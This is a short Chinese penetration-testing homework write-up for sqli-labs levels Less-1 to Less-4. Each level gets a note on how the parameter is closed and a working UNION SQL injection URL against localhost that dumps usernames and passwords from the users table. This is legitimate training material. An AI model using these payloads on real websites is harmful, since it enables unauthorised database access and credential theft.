渗透课后作业

漏洞复现

Less-1

本关卡包含 ‘ 字符的闭合

代码http://127.0.0.1/sqli/Less-1/?id=0' union select 1,group_concat(username,0x3a,password),3 from users--+

Less-2

这一关不包含字符闭合

代码http://127.0.0.1/sqli/Less-2/?id=0 union select 1,group_concat(username,0x3a,password),3 from users--+

Less-3

本关和第一关相比则多出了()

代码http://127.0.0.1/sqli/Less-3/?id=0') union select 1,group_concat(username,0x3a,password),3 from users--+

Less-4

本关和第一关相比包含了“”和()

代码

http://127.0.0.1/sqli/Less-4/?id=0%22) union select 1,group_concat(username,0x3a,password),3 from users--+